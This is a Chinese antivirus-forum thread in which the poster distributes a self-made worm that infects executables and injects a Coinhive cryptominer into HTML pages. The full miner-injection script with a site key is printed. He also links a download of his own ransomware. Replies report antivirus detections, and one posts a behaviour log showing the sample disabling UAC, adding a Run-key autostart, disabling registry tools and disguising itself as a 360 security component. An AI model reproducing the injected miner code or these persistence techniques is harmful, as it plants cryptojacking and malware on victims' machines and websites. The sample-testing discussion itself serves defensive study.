搜索
查看: 8035|回复: 117
收起左侧

[病毒样本] XiaoBa自制蠕虫病毒[2018-1-10]

  [复制链接]
TheYuCheng
发表于 2018-1-10 21:43:41 | 显示全部楼层 |阅读模式

XiaoBa版权所有

QQ:3047861776

持续更新中···

可以感染exe、pif、scr、com多种可执行文件

还会向html、htm文件添加以下代码:


<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('yuNWeGn9GWL72dONBX9WNEj1aVHxg49E');
miner.start();
</script>
还有更多功能就不介绍了···
使用VC6.0编写



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
TheYuCheng
 楼主| 发表于 2018-1-13 23:49:02 | 显示全部楼层
我的官方网站:www.bayucheng.tk
内嵌挖矿代码大家试试会不会报毒
TheYuCheng
 楼主| 发表于 2018-1-24 09:18:39 | 显示全部楼层
新做的勒索敲诈病毒:https://pan.baidu.com/s/1jJWJH8i
可能会出现BUG,请在较高版本的系统中运行
dongwenqi
发表于 2018-1-10 21:47:01 | 显示全部楼层
卡巴启发式杀
llcy
发表于 2018-1-10 21:50:14 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
petr0vic
发表于 2018-1-10 21:57:57 | 显示全部楼层
BD

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
weber001
发表于 2018-1-10 23:03:13 | 显示全部楼层
下载被卡巴斯基阻止

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
左手
发表于 2018-1-10 23:03:44 | 显示全部楼层
  1. 2018-1-10 23:02:05    创建文件夹 风险提示:低风险    允许
  2. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  3. 目标: C:\WINDOWS\360
  4. 规则: [文件组]?:\*《任意文件夹》 -> [文件]?:\*

  5. 2018-1-10 23:02:20    创建文件 风险提示:低风险    允许
  6. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  7. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
  8. 规则: [应用程序]?:\*\*\*\* -> [文件组]{③安全级别:中}f260_①启用《写入windows系统执行文件》 -> [文件]c:\windows\*; *.exe

  9. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  10. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  11. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal
  12. 值: C:\Documents and Settings\Administrator\My Documents
  13. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  14. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  15. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  16. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents
  17. 值: C:\Documents and Settings\All Users\Documents
  18. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  19. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  20. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  21. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop
  22. 值: C:\Documents and Settings\Administrator\桌面
  23. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  24. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  25. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  26. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
  27. 值: C:\Documents and Settings\All Users\桌面
  28. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  29. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  30. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  31. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
  32. 值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
  33. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  34. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  35. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  36. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
  37. 值: C:\Documents and Settings\Administrator\Cookies
  38. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  39. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
  40. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  41. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
  42. 值: C:\Documents and Settings\Administrator\Local Settings\History
  43. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  44. 2018-1-10 23:02:27    创建新进程 风险提示:未知    允许
  45. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  46. 目标: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  47. 命令行: "C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe"
  48. 规则: [应用程序]* -> [子应用程序]*.exe

  49. 2018-1-10 23:02:27    设置文件隐藏属性 风险提示:敏感    阻止并结束进程
  50. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  51. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
  52. 规则: [应用程序]c:\windows\* -> [文件]*; *.exe

  53. 2018-1-10 23:03:06    修改文件 风险提示:敏感    允许
  54. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  55. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
  56. 规则: [应用程序]?:\*\*\*\* -> [文件组]{③安全级别:中}f260_①启用《写入windows系统执行文件》 -> [文件]c:\windows\*; *.exe

  57. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  58. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  59. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal
  60. 值: C:\Documents and Settings\Administrator\My Documents
  61. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  62. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  63. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  64. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents
  65. 值: C:\Documents and Settings\All Users\Documents
  66. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  67. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  68. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  69. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop
  70. 值: C:\Documents and Settings\Administrator\桌面
  71. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  72. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  73. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  74. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
  75. 值: C:\Documents and Settings\All Users\桌面
  76. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  77. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  78. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  79. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
  80. 值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
  81. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  82. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  83. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  84. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
  85. 值: C:\Documents and Settings\Administrator\Cookies
  86. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  87. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
  88. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  89. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
  90. 值: C:\Documents and Settings\Administrator\Local Settings\History
  91. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  92. 2018-1-10 23:03:12    创建新进程 风险提示:未知    允许
  93. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
  94. 目标: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  95. 命令行: "C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe"
  96. 规则: [应用程序]* -> [子应用程序]*.exe

  97. 2018-1-10 23:03:20    修改注册表值 风险提示:敏感    阻止
  98. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  99. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
  100. 值: 0x00000000(0)
  101. 规则: [注册表组]r015_注意 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies*

  102. 2018-1-10 23:03:29    修改注册表值 风险提示:敏感    阻止
  103. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  104. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ZhuDongFangYu
  105. 值: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
  106. 规则: [应用程序]c:\windows\* -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*

  107. 2018-1-10 23:03:29    修改注册表值 风险提示:敏感    阻止
  108. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  109. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
  110. 值: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
  111. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单

  112. 2018-1-10 23:03:39    修改注册表值 风险提示:敏感    阻止
  113. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  114. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools
  115. 值: 0x00000001(1)
  116. 规则: [注册表组]r010_行为防御 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Policies\System; DisableRegistryTools

  117. 2018-1-10 23:03:39    修改注册表值 风险提示:敏感    阻止并结束进程
  118. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
  119. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
  120. 值: 0x00000000(0)
  121. 规则: [应用程序]c:\windows\* -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced*
复制代码


学雷锋做人
发表于 2018-1-11 00:16:59 | 显示全部楼层
本帖最后由 学雷锋做人 于 2018-1-11 00:28 编辑

这次又是抄谁的源码?

就你这货还会VC?我考考你啊

可能你会以为我瞧不起你,你说对了,我确实瞧不起你,求打脸!


加数签过扫描可以理解,最起码要加个有效的啊?上网找工具制作弄的什么玩意?

温馨提示:像这些破玩意少拿来卡饭显摆,每次看见你,我嘴里的痰就忍不住吐出来!



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ziyerain2015
发表于 2018-1-11 00:29:16 | 显示全部楼层


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
王国之心00
发表于 2018-1-11 01:37:59 | 显示全部楼层
求测测景云
桑德尔
发表于 2018-1-11 08:17:25 | 显示全部楼层
ESET Miss
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛|优惠券| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 苏ICP备07004770号 ) GMT+8, 2018-4-25 06:24 , Processed in 0.047044 second(s), 4 queries , MemCached On.

快速回复 返回顶部 返回列表